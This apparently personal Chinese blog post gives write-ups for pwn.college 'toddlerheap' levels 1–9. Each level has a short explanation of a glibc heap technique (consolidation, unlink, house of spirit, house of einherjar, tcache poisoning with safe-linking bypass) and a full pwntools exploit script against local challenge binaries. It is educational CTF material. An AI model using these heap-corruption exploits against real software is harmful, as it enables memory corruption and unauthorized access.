前言
冲冲冲,尽快拿下这一章然后学 FSOP,同时空下来学点 IoT,提前进军 realworld 。
Level 1.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
先填满 tcache,然后再申请同样大小就进入 fastbin 了,接着释放,让它可再次被分配,由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate,强制合并所有 fastbin 到 top chunk,所以 read_flag 可以返回我们 fastbin 中那个 free 的地址,而由于 free 的时候并没有清除结构体中保存的指针,所以我们可以通过 puts UAF 泄漏其值。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level1.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("/challenge/lib/libc.so.6")
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(7): malloc(i, 0)
malloc(7, 0)
for i in range(7): free(i)
raw_input("DEBUG") free(7) read_flag() puts(7) quit()
target.interactive()
if __name__ == "__main__": main()Level 2.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
if ( strcmp(s1, "read_flag") ) break; for ( i = 0; i <= 1; ++i ) { printf("[*] flag_buffer = malloc(%d)\n", 1434); size_4 = malloc(0x59Au); printf("[*] flag_buffer = %p\n", size_4); } fd = open("/flag", 0); read(fd, size_4, 0x80u); puts("[*] read the flag!"); }这次就是 read_flag 中会执行两次 malloc,flag 被写到最后一次 malloc 返回的地址中。
那还不简单,丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中,这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level2.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(7): malloc(i, 0)
for i in range(7): free(i)
calloc(0, 0x59A) calloc(1, 0x59A) calloc(2, 0) free(1) free(0) raw_input("DEBUG") read_flag() puts(1) quit()
target.interactive()
if __name__ == "__main__": main()Level 3.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
和上题类似,区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F,而 read_flag 内部使用的 malloc 大小为 0x390,导致无法精确分配到我们想要的 chunk,咋办?
回忆一下 malloc 和相邻 chunk consolidation 的机制,我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ... 由于这里我们只能请求 > 0x41F 大小的 chunk,所以可以直接排除 tcachebins、fastbins 和 smallbins 的可能性,那么 malloc 会直接查 unsorted bins,有合适的就直接返回,如果远大于请求大小就切割然后归类,不够就去下一个 bin 中找……
那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]... 这样的堆布局,重复 11 组即可。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level3.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(12): # raw_input("DEBUG") malloc(i, 0x420) # raw_input("DEBUG") malloc(15, 0x420)
for i in range(12): # raw_input("DEBUG") free(i)
read_flag() puts(11) quit()
target.interactive()
if __name__ == "__main__": main()Level 4.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
这题就是打个高版本 unlink,看了下,发现 2.41 的打法也是一样的,那我盲猜 2.42 应该也没变。
不会 unlink 的可以看我写的 Doubly Linked, Doubly Doomed 。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "./toddlerheap_level4.0_patched"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data)
def send_flag(): target.sendlineafter(b": ", b"send_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
malloc(0, 0xBB8 * 3) free(0) malloc(15, 0xBB8) # guard
malloc(1, 0xBB8) malloc(2, 0xBB8)
payload = flat( b"A" * 0xBB0, 0, 0xBC1, 0, # prev_size (0xBC0 - 0x10) | 0x1, # chunk_size 0x404130, # fd 0x404138, # bk 0, # fd_nextsize 0, # bk_nextsize b"A" * 0xB80, 0xBC0 - 0x10, # prev_size 0xBC1 & ~0x1, # chunk_size ) raw_input("DEBUG") safe_read(0, payload) free(2)
payload = flat( b"A" * 0x98, 0x1, ) raw_input("DEBUG") safe_read(1, payload) send_flag() quit()
target.interactive()
if __name__ == "__main__": main()Level 5.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
也是 unlink,unlink 以后我们就能控制 alloc_struct 了,由于这里面保存的都是 malloc 的返回值,所以我们还可以利用它来泄漏堆地址,定位 flag 的位置,最后,只需要想办法让 malloc 返回 flag 的地址即可,我通过 overlapping chunks 实现的这一点。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level5.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def read(idx, size, data): target.sendlineafter(b": ", b"read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) target.send(data)
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
malloc(0, 0x420) malloc(1, 0x420) malloc(2, 0x420)
payload = flat( 0, 0x420, 0x404148 - 0x18, 0x404148 - 0x10, 0, 0, b"A" * 0x3F0, 0x420, 0x431 & ~0x1, ) # raw_input("DEBUG") read(1, 0x430, payload) free(2)
payload = flat( b"A" * 0x10, ) # raw_input("DEBUG") read(1, 0x1337, payload) puts(1)
target.recvuntil(b"Data: " + b"A" * 0x10) heap = int.from_bytes(target.recvline().strip(), "little") overlapping_chunksize = heap - 0x890 overlapping_chunk = heap - 0x880 target.success(f"heap: {hex(heap)}")
payload = flat( 0, 0, overlapping_chunksize, ) # raw_input("DEBUG") read(1, 0x1337, payload)
payload = flat( 0, 0x881, ) # raw_input("DEBUG") read(0, 0x1337, payload)
payload = flat( 0, 0, overlapping_chunk, ) # raw_input("DEBUG") read(1, 0x1337, payload) free(0)
malloc(5, 0x870) # raw_input("DEBUG") read(5, 0x1337, flat(b"A" * 0x440)) puts(5) quit()
target.interactive()
if __name__ == "__main__": main()Level 6.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
house of spirit 吧,只要伪造一个 free chunk,就可以让 calloc 返回这个 chunk 的地址了,但是要注意 calloc 会将 chunk 内存清空。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level6.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data)
def read_to_global(size, data): target.sendlineafter(b": ", b"read_to_global") target.sendlineafter(b"read_size: ", str(size).encode()) target.send(data)
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
target.recvuntil(b"Reading the flag into ") flag = int(target.recvline().strip()[:-1], 16)
for i in range(7): calloc(i, 0) free(i)
calloc(0, 0x10) calloc(1, 0x10) free(1) free(0)
puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little")
puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"flag: {hex(flag)}") target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}")
payload = flat( { 0x2E0: 0, 0x2E8: 0x21, 0x2F0: b"A" * 0x8, } ) # raw_input("DEBUG") read_to_global(0x1337, payload) # raw_input("DEBUG") safer_read(0, flat(mangle(pos, flag - 0x28)))
calloc(0, 0x18) raw_input("DEBUG") calloc(1, 0x18) raw_input("DEBUG") safer_read(1, b"A" * 0x18) puts(1) quit()
target.interactive()
if __name__ == "__main__": main()Level 7.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
与上题类似,也是要想办法令 calloc 返回一个包含 flag 的 chunk,区别在于这次不能往 bss 写入数据了。但是调试发现,bss 保存 size 的位置与保存 flag 的位置距离很近,因此我们也就可以利用这一点来伪造 flag chunk 的 chunk_size,令 calloc 认为这是一个合法的 chunk 并返回。
虽然这次 bss 中存储 size 的位置和 flag 位置距离近看上去很刻意,但 bss 下面一般紧邻着 heap 确实是一个通常容易被忽略的地方,可以注意刻意培养一下自己对内存布局的敏感度:
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x557a0689e000 0x557a0689f000 r--p 1000 0 toddlerheap_level7.0_patched 0x557a0689f000 0x557a068a0000 r-xp 1000 1000 toddlerheap_level7.0_patched 0x557a068a0000 0x557a068a1000 r--p 1000 2000 toddlerheap_level7.0_patched 0x557a068a1000 0x557a068a2000 r--p 1000 2000 toddlerheap_level7.0_patched 0x557a068a2000 0x557a068a3000 rw-p 1000 3000 toddlerheap_level7.0_patched 0x557a068a3000 0x557a068a7000 rw-p 4000 5000 toddlerheap_level7.0_patched 0x557a3c52b000 0x557a3c54c000 rw-p 21000 0 [heap]Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level7.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data)
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
target.recvuntil(b"Reading the flag into ") flag = int(target.recvline().strip()[:-1], 16)
for i in range(7): calloc(i, 0) free(i)
calloc(0, 0) calloc(1, 0) free(1) free(0)
puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little")
puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"flag: {hex(flag)}") target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}")
calloc(10, 0x20) calloc(0, 0x10) calloc(1, 0x10) free(1) free(0)
payload = flat( mangle(pos, flag - 0x28), ) raw_input("DEBUG") safer_read(0, payload)
calloc(0, 0x10) # raw_input("DEBUG") calloc(0, 0x18)
raw_input("DEBUG") safer_read(0, b"A" * 0x18) puts(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 8.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
本来以为是要打 largebin attack,结果发现不是,而是 house of einherjar……einherjar?E (FLAGS) in her jar !(误
对于这章都快结束了还没有学到 largebin attack 还是有点小失落的,不过却也为多学了一个 house 而高兴……
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level8.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def read_copy(idx, data): target.sendlineafter(b": ", b"read_copy") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data)
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
malloc(0, 0) malloc(1, 0) free(1) free(0) malloc(0, 0) malloc(1, 0)
puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little")
puts(0) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}")
flag = heap + 0x8C0 fake_chunk = heap + 0x20
malloc(0, 0x38) malloc(1, 0x28) malloc(2, 0xF8)
payload = flat( 0, 0x60, fake_chunk, fake_chunk, ) # raw_input("DEBUG") read_copy(0, payload)
payload = flat( b"A" * 0x20, 0x60, ) # raw_input("DEBUG") read_copy(1, payload)
for i in range(7, 14): malloc(i, 0xF8)
for i in range(7, 14): free(i)
# raw_input("DEBUG") free(2)
malloc(3, 0x158) malloc(4, 0x28) free(4) free(1)
payload = flat( b"A" * 0x20, 0, 0x31, mangle(pos, flag), ) # raw_input("DEBUG") read_copy(3, payload)
# raw_input("DEBUG") malloc(0, 0x28) malloc(0, 0x28) # raw_input("DEBUG") read_flag() puts(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 9.0
Information
- Category: Pwn
Description
Perform an advanced heap exploit to obtain the flag.
Write-up
free 后只是清空了 size 却没有清空 ptr,所以可以将 unsorted bin 中的 chunk 丢到 tcache 中,再利用 unsorted bin 的合并机制来 overlapping 破坏 tcache 的 fd 指针。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level9"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data): target.sendlineafter(b": ", b"safer_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.send(data)
def send_flag(): target.sendlineafter(b": ", b"send_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
authenticated = 0x404260
malloc(0, 0x10) malloc(1, 0x10) free(1) free(0) malloc(1, 0x10) malloc(0, 0x10)
puts(0) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little")
puts(1) target.recvuntil(b"Data: ") heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"pos: {hex(pos)}") target.success(f"heap: {hex(heap)}")
for i in range(7, 14): malloc(i, 0x100)
malloc(0, 0x100) malloc(1, 0x100) malloc(15, 0x10) # guard
for i in range(7, 14): free(i)
free(1) free(0)
malloc(0, 0x100) free(1)
malloc(0, 0x210) payload = flat( { 0x108: 0x111, 0x110: mangle(pos, authenticated), } ) # raw_input("DEBUG") safer_read(0, payload)
malloc(0, 0x100) malloc(0, 0x100) safer_read(0, b"A") send_flag() quit()
target.interactive()
if __name__ == "__main__": main()